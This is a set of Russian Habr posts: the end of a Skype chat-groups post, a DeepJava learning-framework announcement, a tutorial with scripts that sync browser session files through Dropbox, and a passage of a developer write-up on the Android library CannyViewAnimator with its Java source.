Я понимаю, что алерты в Skype появляются, даже если их выключить через **/alertsoff**, поэтому если вам вдруг захотелось задать вопрос или ответить на него, или просто пообщаться — уважайте других участников чата, старайтесь писать только по делу.
### Заключение
Я прекрасно понимаю, что это решение через "*Завод по производству кирпичей Бендера*", однако, возможно, кому-то всё же эти группы будут полезны.
### Ссылки
Выбрать чат по душе и вступить можно тут: [docs.google.com/spreadsheets/d/1re0ntO6ZpPprYrMpKKuV\_7I367Th30iRZWEL6ThXkUg](https://docs.google.com/spreadsheets/d/1re0ntO6ZpPprYrMpKKuV_7I367Th30iRZWEL6ThXkUg)
Гитхаб чат бота: [github.com/Nigrimmist/HelloBot](https://github.com/Nigrimmist/HelloBot)
Описания команд скайпа: [habrahabr.ru/post/97561](http://habrahabr.ru/post/97561/)
Спасибо за внимание и… **Присоединяйтесь!** — потому что сила именно в сообществах.
Об ошибках в тексте сообщайте пожалуйста в личку. Спасибо!
**Update**
Чат бот пока отключён, подпилю на днях. | https://habr.com/ru/post/242683/ | null | ru | null |
# Учебный фреймворк на Java по глубокому обучению
Недавно мы выпустили первую версию нового фреймворка по глубокому обучению [DeepJava](https://github.com/DeepJavaUniverse/DJ-core) (DJ) [0.01](https://github.com/DeepJavaUniverse/DJ-core/releases/tag/v0.01).
Основная цель фреймворка, по крайней мере, на текущий момент, чисто учебная. Мы строим шаг за шагом фреймворк, у которого:
* будет понятная кодовая база
* будет набор бранчей, по которым можно шаг за шагом проследить процесс создания и понять, почему были сделаны те или иные изменения
Вместе с нашим первым релизом мы так же выпустили первую главу открытой книги по глубокому обучению. Книга пишется для Java инженеров, которые ранее не занимались нейронными сетями. При этом процесс обучения строится вокруг создания своего фреймворка с нуля:
* [Черновик главы](https://deep-learning-from-scratch.gitbooks.io/deep-learning-from-scratch-for-java-engineers/content/chapter-2-our-first-neural-network.html)
* [Бранч, который содержит код консистентный с главой книги](https://github.com/DeepJavaUniverse/DJ-core/tree/chapter_2)
При создании нашего учебного фреймворка мы будим вводить новые понятия и сущности только там и тогда, где это действительно необходимо. Например, в первом релизе представление сети сделано так, как инстинктивно большинство инженеров захочет его сделать, в виде графа (а не набора тензоров). Это позволяет создавать более гибкие сети. Поскольку у нас уже есть [код, который тренирует модель MNIst](https://github.com/DeepJavaUniverse/DJ-ModelZoo/tree/master/src/main/java/com/dj/models/mnist), мы можем увидеть, насколько медленно работает подобное представление сети. Теперь, уткнувшись в эту проблему, в дальнейших главах мы познакомим читателя с основами линейной алгебры в том объеме который необходим, чтобы решить ровно эту проблему. И т.д. мы планируем вводить сущности там, где это необходимо, по мере появления проблем до тех пор, пока мы не посмотрим фреймворк.
Несколько небольших плюшек:
---------------------------
* наш README уже [переведен на Русский](https://github.com/DeepJavaUniverse/DJ-core/blob/master/README.ru.md)
* черновик первой главы еще не переведен, но будет
PS
--
Если кто видел наше видео "[нейронные сети за 30 минут](https://youtu.be/AZG0j0pNY-4)", то вот небольшой пример кода как воссоздать сеть из видео на DJ:
```
var context = new Context(
/* learningRate */ 0.2,
/* debug mode */ false);
var inputFriend = new InputNeuron("friend");
var inputVodka = new InputNeuron("vodka");
var inputSunny = new InputNeuron("sunny");
var outputNeuron
= new ConnectedNeuron.Builder()
.bias(0.1)
.activationFunction(new Sigmoid())
.context(context)
.build();
inputFriend.connect(outputNeuron, wFriend);
inputVodka.connect(outputNeuron, wVodka);
inputSunny.connect(outputNeuron, wSunny);
// Посылаем входные сигналы:
inputFriend.forwardSignalReceived(null, 1.);
inputVodka.forwardSignalReceived(null, 1.);
inputSunny.forwardSignalReceived(null, 1.);
// Получаем итоговый результат и считаем ошибку:
double result = outputNeuron.getForwardResult();
double expectedResult = 1.;
double errorDy = 2. * (expectedResult - result);
// Посылаем обратно ошибку:
outputNeuron.backwardSignalReceived(errorDy);
``` | https://habr.com/ru/post/352520/ | null | ru | null |
# Синхронизируем открытые вкладки через Dropbox
Имеется множество Расширений/Дополнений или уже встроенных в браузер решений, позволяющих синхронизировать закладки, пароли, автозаполнения и пр.
Но, пользуясь тем или иным браузером и дома и на работе, часто приходится выполнять несколько действий для того, чтобы открыть рабочие вкладки с удаленного компьютера (например, с помощью Xmarks).
В данной статье опишу как автоматизировать синхронизацию открытых вкладок с остальными компьютерами через Dropbox. Если Вы, все еще не завели аккаунт, [советую](http://www.dropbox.com/downloading?src=index).
Итак приступим. Все способы будут описаны для Windows 7 и Linux. Основаны на простом копировании файла сессии.
Для начала нам необходимо установить переменную для директории Dropbox:
###### Windows
В командной строке
`SET DROPBOX="%USERPROFILE%\Desktop\Dropbox"`
###### Linux
```
export DROPBOX="~/Desktop/Dropbox"
```
#### Google chrome
###### Windows
`copy "%DROPBOX%\Configs\Current Session" "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Current Session"
"%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe"
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Current Session" "%DROPBOX%\Configs\Current Session"`
###### Linux
```
#!/bin/bash
cp -f $DROPBOX/Configs/Current\ Session ~/.config/google-chrome/Default/Current\ Session
/opt/google/chrome/google-chrome %U
cp -f ~/.config/google-chrome/Default/Current\ Session $DROPBOX/Configs/Current\ Session
```
#### Firefox
###### Windows
`copy "%DROPBOX%\Configs\sessionstore.js" "%APPDATA%\Mozilla\Firefox\Profiles\*default\sessionstore.js"
"%ProgramFiles%\Firefox\firefox.exe"
copy "%APPDATA%\Mozilla\Firefox\Profiles\*default\sessionstore.js" "%DROPBOX%\Configs\sessionstore.js"`
###### Linux
```
#!/bin/bash
cp -f ~$DROPBOX/Configs/sessionstore.js ~/.mozilla/firefox/*default/sessionstore.js
firefox
cp -f ~/.mozilla/firefox/*default/sessionstore.js $DROPBOX/Configs/sessionstore.js
```
#### Opera
###### Windows
`copy "%DROPBOX%\Configs\autosave.win" "%APPDATA%\Opera\Opera\sessions\autosave.win"
"%ProgramFiles%\Opera\opera.exe"
copy "%APPDATA%\Opera\Opera\sessions\autosave.win" "%DROPBOX%\Configs\autosave.win"`
###### Linux
```
#!/bin/bash
cp -f ~$DROPBOX/Configs/autosave.win ~/.opera/sessions/autosave.win
opera
cp -f ~/.opera/sessions/autosave.win ~$DROPBOX/Configs/autosave.win
```
##### Заключение
Для Linux достаточно установить права на запуск сценария, и в ярлыке браузера указать путь к сценарию.
Для Windows также для ярлыка к Bat-файлу указывается значение «Свернутое в значок»
Если Вам ~~хочется придраться~~ мешает свернутое окно командной строки, то используйте утилиту [Advanced BAT to EXE Converter](http://www.battoexeconverter.com/downloads/advbattoexe.exe), в котором следует выставить значение «Invisible application»
[Архив с файлами](http://dl.dropbox.com/u/8495117/Sync.zip) | https://habr.com/ru/post/116708/ | null | ru | null |
# CannyViewAnimator: переключаем состояния красиво
Всем привет! Мне очень нравится работать с анимациями — в каждом Android-приложении, в создании которого я участвую или на которое просто смотрю, я нашёл бы место парочке. В не таком ещё далёком апреле 2016 года [с моей записи](https://habrahabr.ru/company/livetyping/blog/274135/) про тип классов Animation начал жить блог компании Лайв Тайпинг, а позже [я выступил с докладом об анимациях](https://youtu.be/wcixaQoPxXM?list=PLI8nOcpqDyPMttKBdig6rRLQO82ivfHE-) на очередном омском IT-субботнике. В этой статье я хочу познакомить вас с нашей библиотекой CannyViewAnimator, а также погрузить вас в процесс её разработки. Она нужна для красивого переключения видимости View. Если вам интересна библиотека, или история её создания, ну или хотя бы интересны проблемы, с которыми я столкнулся, и их решения, то добро пожаловать в статью!
О чём вообще речь
=================
Но сначала представим для наглядности ситуацию, банальную в Android-разработке. У вас есть экран, а на нём — список, который приходит от сервера. Пока прекрасные данные грузятся от прекрасного сервера, вы показываете лоадер; как только данные пришли, вы в них смотрите: если пусто — показываете заглушку, если нет — показываете, собственно, данные.
Как разрешить эту ситуацию на UI? Раньше, мы в Лайв Тайпинг пользовались следующим решением, которое когда-то подсмотрели в [U2020](https://github.com/JakeWharton/u2020), а затем перенесли в наш [U2020 MVP](https://github.com/LiveTyping/u2020-mvp) — это [BetterViewAnimator](https://github.com/JakeWharton/u2020/blob/master/src/main/java/com/jakewharton/u2020/ui/misc/BetterViewAnimator.java), View, который наследуется от ViewAnimator. Единственное, но важное отличие BetterViewAnimator от его предка — это умение работать с id ресурсов. Но он не идеален.
**Что такое ViewAnimator?**ViewAnimator — это View, который наследуется от FrameLayout и у которого в конкретный момент времени виден только один из его child. Для переключения видимого child есть набор методов.
Важным минусом BetterViewAnimator является умение работать только с устаревшим AnimationFramework. И в этой ситуации приходит на помощь CannyViewAnimator. Он поддерживает работу с Animator и AppCompat Transition.
[Ссылка на проект в Github](https://github.com/LiveTyping/CannyViewAnimator)
С чего всё началось
===================
Во время разработки очередного экрана «список-лоадер-заглушка» я задумался о том, что мы, конечно, используем BetterViewAnimator, но почему-то не пользуемся его чуть ли не основной фишкой — анимациями. Настроенный оптимистично, я решил добавить анимацию и наткнулся на то, о чем позабыл: ViewAnimator может работать только с Animation. Поиски альтернативы на Github, к сожалению, не увенчались успехом — достойных не было, а был только [Android View Controller](https://github.com/JA-VON/Android-View-Controller), но он абсолютно не гибок и поддерживает только восемь заранее заданных в нём анимаций. Это означало только одно: придётся писать всё самому.
Что же я хочу получить
======================
Первое, что я решил сделать — это продумать то, что я в итоге хочу получить:
* возможность всё так же управлять видимостью child;
* возможность использовать Animator и в особенности CircularRevealAnimator;
* возможность запускать анимации как последовательно, так и параллельно (ViewAnimator умеет только последовательно);
* возможность использовать Transition;
* сделать набор стандартных анимаций с возможностью их выставления через xml;
* гибкость работы, возможность выставлять для отдельного child свою анимацию.
Определившись с желаниями, я начал продумывать «архитектуру» будущего проекта. Получилось три части:
* *ViewAnimator* — отвечает на переключение видимости child;
* *TransitionViewAnimator* — наследуется от ViewAnimator и отвечает за работу с Transition;
* *CannyViewAnimator* — наследуется от TransitionViewAnimator и отвечает за работу с Animator.
Выставление Animator'ов и Transition я решил сделать с помощью интерфейса с двумя параметрами: child, который будет появляться, и child, который будет исчезать. Каждый раз, когда сменяется видимый child, из реализации интерфейса будет забираться необходимая анимация. Интерфейса будет три:
* *InAnimator* — отвечающий за Animator появляющегося child;
* *OutAnimator* — отвечающий за Animator исчезающего child;
* *CannyTransition* — отвечающий за Transition.
Интерфейс для Transition я решил сделать один, так как Transition накладывается сразу на все появляющиеся и исчезающие child. Концепция была продумана, и я приступил к разработке.
ViewAnimator
============
Со своим базовым классом я не стал особо мудрить и решил сделать копирку с ViewAnimator из SDK. Я лишь выбросил из него работу с Animation и оптимизировал методы в нём, так как многие из них мне показались избыточными. Также я не забыл добавить и методы из BetterViewAnimator. Итоговый список важных для работы с ним методов получился таким:
* *void setDisplayedChildIndex(int inChildIndex)* — отображает child с заданным индексом;
* *void setDisplayedChildId(@IdRes int id)* — отображает child с заданным id;
* *void setDisplayedChild(View view)* — отображает конкретный child;
* *int getDisplayedChildIndex()* — получение индекса отображаемого child;
* *View getDisplayedChild()* — получение отображаемого child;
* *int getDisplayedChildId()* — получение id отображаемого child.
Немного подумав, я решил дополнительно сохранять позицию текущего видимого child в onSaveInstanceState() и восстанавливать её onRestoreInstanceState(Parcelable state), тут же отображая его.
Итоговый код получился таким:
**ViewAnimator**
```
public class ViewAnimator extends FrameLayout {
private int lastWhichIndex = 0;
public ViewAnimator(Context context) {
super(context);
}
public ViewAnimator(Context context, AttributeSet attrs) {
super(context, attrs);
}
public void setDisplayedChildIndex(int inChildIndex) {
if (inChildIndex >= getChildCount()) {
inChildIndex = 0;
} else if (inChildIndex < 0) {
inChildIndex = getChildCount() - 1;
}
boolean hasFocus = getFocusedChild() != null;
int outChildIndex = lastWhichIndex;
lastWhichIndex = inChildIndex;
changeVisibility(getChildAt(inChildIndex), getChildAt(outChildIndex));
if (hasFocus) {
requestFocus(FOCUS_FORWARD);
}
}
public void setDisplayedChildId(@IdRes int id) {
if (getDisplayedChildId() == id) {
return;
}
for (int i = 0, count = getChildCount(); i < count; i++) {
if (getChildAt(i).getId() == id) {
setDisplayedChildIndex(i);
return;
}
}
throw new IllegalArgumentException("No view with ID " + id);
}
public void setDisplayedChild(View view) {
setDisplayedChildId(view.getId());
}
public int getDisplayedChildIndex() {
return lastWhichIndex;
}
public View getDisplayedChild() {
return getChildAt(lastWhichIndex);
}
public int getDisplayedChildId() {
return getDisplayedChild().getId();
}
protected void changeVisibility(View inChild, View outChild) {
outChild.setVisibility(INVISIBLE);
inChild.setVisibility(VISIBLE);
}
@Override
public void addView(View child, int index, ViewGroup.LayoutParams params) {
super.addView(child, index, params);
if (getChildCount() == 1) {
child.setVisibility(View.VISIBLE);
} else {
child.setVisibility(View.INVISIBLE);
}
if (index >= 0 && lastWhichIndex >= index) {
setDisplayedChildIndex(lastWhichIndex + 1);
}
}
@Override
public void removeAllViews() {
super.removeAllViews();
lastWhichIndex = 0;
}
@Override
public void removeView(View view) {
final int index = indexOfChild(view);
if (index >= 0) {
removeViewAt(index);
}
}
@Override
public void removeViewAt(int index) {
super.removeViewAt(index);
final int childCount = getChildCount();
if (childCount == 0) {
lastWhichIndex = 0;
} else if (lastWhichIndex >= childCount) {
setDisplayedChildIndex(childCount - 1);
} else if (lastWhichIndex == index) {
setDisplayedChildIndex(lastWhichIndex);
}
}
@Override
public void removeViewInLayout(View view) {
removeView(view);
}
@Override
public void removeViews(int start, int count) {
super.removeViews(start, count);
if (getChildCount() == 0) {
lastWhichIndex = 0;
} else if (lastWhichIndex >= start && lastWhichIndex < start + count) {
setDisplayedChildIndex(lastWhichIndex);
}
}
@Override
public void removeViewsInLayout(int start, int count) {
removeViews(start, count);
}
@Override
protected void onRestoreInstanceState(Parcelable state) {
if (!(state instanceof SavedState)) {
super.onRestoreInstanceState(state);
return;
}
SavedState ss = (SavedState) state;
super.onRestoreInstanceState(ss.getSuperState());
lastWhichIndex = ss.lastWhichIndex;
setDisplayedChildIndex(lastWhichIndex);
}
@Override
protected Parcelable onSaveInstanceState() {
SavedState savedState = new SavedState(super.onSaveInstanceState());
savedState.lastWhichIndex = lastWhichIndex;
return savedState;
}
public static class SavedState extends View.BaseSavedState {
int lastWhichIndex;
SavedState(Parcelable superState) {
super(superState);
}
@Override
public void writeToParcel(Parcel dest, int flags) {
super.writeToParcel(dest, flags);
dest.writeInt(this.lastWhichIndex);
}
@Override
public String toString() {
return "ViewAnimator.SavedState{" +
"lastWhichIndex=" + lastWhichIndex +
'}';
}
public static final Parcelable.Creator CREATOR = new Parcelable.Creator() {
@Override
public SavedState createFromParcel(Parcel source) {
return new SavedState(source);
}
@Override
public SavedState[] newArray(int size) {
return new SavedState[size];
}
};
protected SavedState(Parcel in) {
super(in);
this.lastWhichIndex = in.readInt();
}
}
}
```
[Ссылочка на Github](https://github.com/LiveTyping/CannyViewAnimator/blob/master/library/src/main/java/com/livetyping/library/ViewAnimator.java)
TransitionViewAnimator
======================
Закончив с ViewAnimator, я приступил к довольно простой, но от этого не менее интересной задаче: сделать поддержку Transition. Суть работы такова: при вызове переопределённого метода changeVisibility (View inChild, View outChild) подготавливается анимация. Из заданного CannyTransition с помощью интерфейса забирается Transition и записывается в поле класса.
**CannyTransition**
```
public interface CannyTransition {
Transition getTransition(View inChild, View outChild);
}
```
Затем в отдельном методе выполняется запуск этого Transition. Я решил сделать запуск отдельным методом с заделом на будущее — дело в том, что запуск Transition осуществляется с помощью метода *TransitionManager.beginDelayedTransition*, а это накладывает некоторые ограничения. Ведь Transition выполнится только для тех View, которые поменяли свои свойства за некоторый промежуток времени после вызова *TransitionManager.beginDelayedTransition*. Так как в дальнейшем планируется внедрение Animator’ов, которые могут длится относительно долгое время, то *TransitionManager.beginDelayedTransition* нужно вызывать непосредственно перед сменой Visibility. Ну, и далее я вызываю *super.changeVisibility(inChild, outChild);*, который меняет Visibility у нужных child.
**TransitionViewAnimator**
```
public class TransitionViewAnimator extends ViewAnimator {
private CannyTransition cannyTransition;
private Transition transition;
public TransitionViewAnimator(Context context) {
super(context);
}
public TransitionViewAnimator(Context context, AttributeSet attrs) {
super(context, attrs);
}
@Override
protected void changeVisibility(View inChild, View outChild) {
prepareTransition(inChild, outChild);
startTransition();
super.changeVisibility(inChild, outChild);
}
protected void prepareTransition(View inChild, View outChild) {
if (cannyTransition != null) {
transition = cannyTransition.getTransition(inChild, outChild);
}
}
public void startTransition() {
if (transition != null) {
TransitionManager.beginDelayedTransition(this, transition);
}
}
public void setCannyTransition(CannyTransition cannyTransition) {
this.cannyTransition = cannyTransition;
}
}
```
[Ссылка на Github](https://github.com/LiveTyping/CannyViewAnimator/blob/master/library/src/main/java/com/livetyping/library/TransitionViewAnimator.java)
CannyViewAnimator
=================
Вот я и добрался до основной прослойки. Изначально я хотел воспользоваться [LayoutTransition](https://developer.android.com/reference/android/animation/LayoutTransition.html) для управления Animator'ами, но мои мечты разбились о невозможность без костылей выполнить с его помощью анимации параллельно. Также дополнительные проблемы создавали остальные минусы LayoutTransition вроде необходимости выставлять длительность для AnimatorSet, невозможности ручного прерывания и пр. Было принято решение написать свою логику работы. Все выглядело очень даже просто: запускаем Animator для исчезающего child, на его окончание выставляем ему *Visibility.GONE* и тут же делаем появляющийся child видимым и запускаем Animator для него.
Тут я наткнулся на первую проблему: **нельзя запустить Animator для неприаттаченной View** (это та, у которой ещё не был выполнен *onAttach* или уже сработал *onDetach*). Это не давало мне менять видимость какого-либо child в конструкторе или любом другом методе, который срабатывает раньше onAttach. Предвидя кучу разнообразных ситуаций, где это может понадобится, и не менее маленькую кучу issues на Github, я решил попытаться исправить положение. К сожалению, самое простое решение в виде вызова метода *isAttachedToWindow()* упиралось в невозможность его вызова до 19 версии API, а мне очень хотелось иметь поддержку с 14 API.
Однако у View существует OnAttachStateChangeListener, и я не преминул им воспользоваться. Я переопределил метод *void addView(View child, int index, ViewGroup.LayoutParams params)* и на каждую добавленную View вешал этот Listener. Далее я помещал в HashMap ссылку на саму View и булеву переменную, обозначающую его состояние. Если срабатывал *onViewAttachedToWindow(View v)*, я ставил значение true, а если *onViewDetachedFromWindow(View v)*, то false. Теперь, перед самым запуском Animator'а, я мог проверять состояние View и мог решить, стоит ли вообще запускать Animator.
После преодоления первой «баррикады» я сделал два интерфейса для получения Animator'ов: InAnimator и OutAnimator.
**InAnimator**
```
public interface InAnimator {
Animator getInAnimator(View inChild, View outChild);
}
```
**OutAnimator**
```
public interface OutAnimator {
Animator getOutAnimator(View inChild, View outChild);
}
```
Всё шло гладко, пока передо мной не встала новая проблема: **после выполнения Animator'а нужно восстановить состояние View**.
Ответа на StackOverflow я так и не нашёл. После получаса мозгового штурма я решил воспользоваться методом reverse у ValueAnimator, сделав его длительность равной нулю.
```
if (animator instanceof ValueAnimator) {
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
animation.removeListener(this);
animation.setDuration(0);
((ValueAnimator) animation).reverse();
}
});
}
```
Это помогло, и я даже дал тот самый [ответ на StackOverflow](http://stackoverflow.com/a/37503154/5451527).
Сразу же после решения этой проблемы возникла другая: **CircularRevealAnimator не выполняет свою анимацию, если у View ещё не был выполнен onMeasure.**
Это было плохой новостью, так как у ViewAnimator невидимые child имеют Visibility.GONE. Это значит, что они не измеряются вплоть до того момента, пока им не выставят другой тип Visibility — VISIBLE или INVISIBLE. Даже если бы перед началом анимации я изменил Visibility на INVISIBLE, то это не решило бы проблемы. Так как измерение размеров View происходит при отрисовке кадра, а отрисовка кадров происходит асинхронно, то нет никакой гарантии, что к моменту старта Animator'а View была бы измерена. Выставлять задержку или использовать onPreDrawListener мне крайне не хотелось, поэтому по умолчанию я решил использовать Visibility.INVISIBLE вместо Visibility.GONE.
В голове прокручивались сцены ужасов по мотивам того, как мои View измеряются при инфлейте (хотя им это совсем не надо), что сопровождается визуальными лагами. Поэтому я решил провести небольшой тест, измеряя время инфлейта, с Visibility.INVISIBLE и Visibility.GONE c 10 View и вложенностью 5. Тесты показали, что разница не превышала 1 миллисекунды. То ли я не заметил, как телефоны стали гораздо мощнее, то ли Android так хорошо оптимизировали, но мне смутно вспоминается, что когда-то лишний Visibility.INVISIBLE плохо влиял на производительность. Ну да ладно, проблема была побеждена.
Не успев опомниться от предыдущей «схватки», я бросился в следующую. **Так как во FrameLayout child лежат друг над другом, то при одновременном выполнении InAnimator и OutAnimator возникает ситуация, когда в зависимости от индекса child анимация выглядит по-разному.**
Из-за всех проблем, возникших с реализацией Animator'ов, мне хотелось их бросить, но чувство «раз начал — закончи» заставляло двигаться вперед. Проблема возникает, когда я пытаюсь сделать видимой View, которая лежит ниже текущей отображаемой View. Из-за этого анимация исчезновения полность перекрывает анимацию появления и наоборот. В поисках решения я пытался использовать другие ViewGroup, игрался со свойством Z и пробовал ещё кучу всякого.
Наконец, пришла идея в начале анимации просто удалить нужную View из контейнера, добавить её наверх, а в конце анимации опять удалить и затем вернуть на исходное место. Идея сработала, но на слабых устройствах анимации подлагивали. Подвисание происходило из-за того, что при удалении или добавлении View у него самого и у его parent вызывается *requestLayout()*, который пересчитывает и перерисовывает их. Пришлось лезть в дебри класса ViewGroup. Спустя несколько минут изучения я пришел к выводу, что порядок расположения View внутри ViewGroup зависит всего лишь от одного массива, а дальше наследники ViewGroup (к примеру, FrameLayout или LinearLayout) уже решают, как его отобразить. Увы, массив, а также методы работы с ним, были помечены private. Но была и хорошая новость: в Java это не проблема, так как есть Java Reflection. С помощью Java Reflection я воспользовался методами работы с массивом и теперь мог управлять положением нужной мне View напрямую. Получился вот такой метод:
```
public void bringChildToPosition(View child, int position) {
final int index = indexOfChild(child);
if (index < 0 && position >= getChildCount()) return;
try {
Method removeFromArray = ViewGroup.class.getDeclaredMethod("removeFromArray", int.class);
removeFromArray.setAccessible(true);
removeFromArray.invoke(this, index);
Method addInArray = ViewGroup.class.getDeclaredMethod("addInArray", View.class, int.class);
addInArray.setAccessible(true);
addInArray.invoke(this, child, position);
Field mParent = View.class.getDeclaredField("mParent");
mParent.setAccessible(true);
mParent.set(child, this);
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}
```
Этот метод выставляет нужную мне позицию для View. Перерисовку в конце этих манипуляций вызывать не нужно — за вас это сделает анимация. Теперь перед началом анимации я мог положить нужную мне View наверх, а в конце анимации вернуть обратно. Итак, основная часть рассказа о CannyViewAnimator закончена.
**CannyViewAnimator**
```
public class CannyViewAnimator extends TransitionViewAnimator {
public static final int SEQUENTIALLY = 1;
public static final int TOGETHER = 2;
private int animateType = SEQUENTIALLY;
@Retention(RetentionPolicy.SOURCE)
@IntDef({SEQUENTIALLY, TOGETHER})
@interface AnimateType {
}
public static final int FOR_POSITION = 1;
public static final int IN_ALWAYS_TOP = 2;
public static final int OUT_ALWAYS_TOP = 3;
private int locationType = FOR_POSITION;
@Retention(RetentionPolicy.SOURCE)
@IntDef({FOR_POSITION, IN_ALWAYS_TOP, OUT_ALWAYS_TOP})
@interface LocationType {
}
private List extends InAnimator inAnimator;
private List extends OutAnimator outAnimator;
private final Map attachedList = new HashMap<>(getChildCount());
public CannyViewAnimator(Context context) {
super(context);
}
public CannyViewAnimator(Context context, AttributeSet attrs) {
super(context, attrs);
}
@SafeVarargs
public final void setInAnimator(T... inAnimators) {
setInAnimator(Arrays.asList(inAnimators));
}
public void setInAnimator(List extends InAnimator inAnimators) {
this.inAnimator = inAnimators;
}
@SafeVarargs
public final void setOutAnimator(T... outAnimators) {
setOutAnimator(Arrays.asList(outAnimators));
}
public void setOutAnimator(List extends OutAnimator outAnimators) {
this.outAnimator = outAnimators;
}
@Override
protected void changeVisibility(View inChild, View outChild) {
if (attachedList.get(outChild) && attachedList.get(inChild)) {
AnimatorSet animatorSet = new AnimatorSet();
Animator inAnimator = mergeInAnimators(inChild, outChild);
Animator outAnimator = mergeOutAnimators(inChild, outChild);
prepareTransition(inChild, outChild);
switch (animateType) {
case SEQUENTIALLY:
animatorSet.playSequentially(outAnimator, inAnimator);
break;
case TOGETHER:
animatorSet.playTogether(outAnimator, inAnimator);
break;
}
switch (locationType) {
case FOR\_POSITION:
addOnStartVisibleListener(inAnimator, inChild);
addOnEndInvisibleListener(outAnimator, outChild);
break;
case IN\_ALWAYS\_TOP:
addOnStartVisibleListener(inAnimator, inChild);
addOnEndInvisibleListener(inAnimator, outChild);
addOnStartToTopOnEndToInitPositionListener(inAnimator, inChild);
break;
case OUT\_ALWAYS\_TOP:
addOnStartVisibleListener(outAnimator, inChild);
addOnEndInvisibleListener(outAnimator, outChild);
addOnStartToTopOnEndToInitPositionListener(outAnimator, outChild);
break;
}
animatorSet.start();
} else {
super.changeVisibility(inChild, outChild);
}
}
private AnimatorSet mergeInAnimators(final View inChild, final View outChild) {
AnimatorSet animatorSet = new AnimatorSet();
List animators = new ArrayList<>(inAnimator.size());
for (InAnimator inAnimator : this.inAnimator) {
if (inAnimator != null) {
Animator animator = inAnimator.getInAnimator(inChild, outChild);
if (animator != null) {
animators.add(animator);
}
}
}
animatorSet.playTogether(animators);
return animatorSet;
}
private AnimatorSet mergeOutAnimators(final View inChild, final View outChild) {
AnimatorSet animatorSet = new AnimatorSet();
List animators = new ArrayList<>(outAnimator.size());
for (OutAnimator outAnimator : this.outAnimator) {
if (outAnimator != null) {
Animator animator = outAnimator.getOutAnimator(inChild, outChild);
if (animator != null)
animators.add(animator);
}
}
animatorSet.playTogether(animators);
addRestoreInitValuesListener(animatorSet);
return animatorSet;
}
private void addRestoreInitValuesListener(AnimatorSet animatorSet) {
for (Animator animator : animatorSet.getChildAnimations()) {
if (animator instanceof ValueAnimator) {
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
animation.removeListener(this);
animation.setDuration(0);
((ValueAnimator) animation).reverse();
}
});
}
}
}
private void addOnStartVisibleListener(Animator animator, final View view) {
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animation) {
startTransition();
view.setVisibility(VISIBLE);
}
});
}
private void addOnEndInvisibleListener(Animator animator, final View view) {
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationEnd(Animator animation) {
startTransition();
view.setVisibility(INVISIBLE);
}
});
}
private void addOnStartToTopOnEndToInitPositionListener(Animator animator, final View view) {
final int initLocation = indexOfChild(view);
animator.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animation) {
bringChildToPosition(view, getChildCount() - 1);
}
@Override
public void onAnimationEnd(Animator animation) {
bringChildToPosition(view, initLocation);
}
});
}
public int getAnimateType() {
return animateType;
}
public void setAnimateType(@AnimateType int animateType) {
this.animateType = animateType;
}
public int getLocationType() {
return locationType;
}
public void setLocationType(@LocationType int locationType) {
this.locationType = locationType;
}
@Override
public void addView(View child, int index, ViewGroup.LayoutParams params) {
attachedList.put(child, false);
child.addOnAttachStateChangeListener(new OnAttachStateChangeListener() {
@Override
public void onViewAttachedToWindow(View v) {
attachedList.put(v, true);
}
@Override
public void onViewDetachedFromWindow(View v) {
attachedList.put(v, false);
}
});
super.addView(child, index, params);
}
@Override
public void removeAllViews() {
attachedList.clear();
super.removeAllViews();
}
@Override
public void removeView(View view) {
attachedList.remove(view);
super.removeView(view);
}
@Override
public void removeViewAt(int index) {
attachedList.remove(getChildAt(index));
super.removeViewAt(index);
}
@Override
public void removeViews(int start, int count) {
for (int i = start; i < start + count; i++) {
attachedList.remove(getChildAt(i));
}
super.removeViews(start, count);
}
}
```
[Github](https://github.com/LiveTyping/CannyViewAnimator/blob/master/library/src/main/java/com/livetyping/library/CannyViewAnimator.java)
Добавляем поддержку XML и классы-помощники
==========================================
Новая задача: добавить возможность настройки с помощью XML. Так как я очень сильно не люблю создание Animator в XML (они мне кажутся чем-то плохо читаемым и не очевидным), я решил сделать набор стандартных анимаций с возможностью их выставления через флаги. Плюс такой подход поможет проще задавать анимации через Java-код. Так как подход к созданию CircularRevalAnimator отличается от стандартного, пришлось написать два типа классов-помощников: один для обычных Property, другой — для CircularReval.
В итоге получилось шесть классов:
**PropertyCanny**
```
class PropertyCanny {
Animator propertyAnimator;
public PropertyCanny(PropertyValuesHolder... holders) {
this.propertyAnimator = ObjectAnimator.ofPropertyValuesHolder(holders);
}
public PropertyCanny(Property, Float property, float start, float end) {
this.propertyAnimator = ObjectAnimator.ofFloat(null, property, start, end);
}
public PropertyCanny(String propertyName, float start, float end) {
this.propertyAnimator = ObjectAnimator.ofFloat(null, propertyName, start, end);
}
public Animator getPropertyAnimator(View child) {
propertyAnimator.setTarget(child);
return propertyAnimator.clone();
}
}
```
**PropertyIn**
```
public class PropertyIn extends PropertyCanny implements InAnimator {
public PropertyIn(PropertyValuesHolder... holders) {
super(holders);
}
public PropertyIn(Property, Float property, float start, float end) {
super(property, start, end);
}
public PropertyIn(String propertyName, float start, float end) {
super(propertyName, start, end);
}
public PropertyIn setDuration(long millis) {
propertyAnimator.setDuration(millis);
return this;
}
@Override
public Animator getInAnimator(View inChild, View outChild) {
return getPropertyAnimator(inChild);
}
}
```
**PropertyOut**
```
public class PropertyOut extends PropertyCanny implements OutAnimator {
public PropertyOut(PropertyValuesHolder... holders) {
super(holders);
}
public PropertyOut(Property, Float property, float start, float end) {
super(property, start, end);
}
public PropertyOut(String propertyName, float start, float end) {
super(propertyName, start, end);
}
public PropertyOut setDuration(long millis) {
propertyAnimator.setDuration(millis);
return this;
}
@Override
public Animator getOutAnimator(View inChild, View outChild) {
return getPropertyAnimator(outChild);
}
}
```
**RevealCanny**
```
class RevealCanny {
private final int gravity;
public RevealCanny(int gravity) {
this.gravity = gravity;
}
@SuppressLint("RtlHardcoded")
protected int getCenterX(View view) {
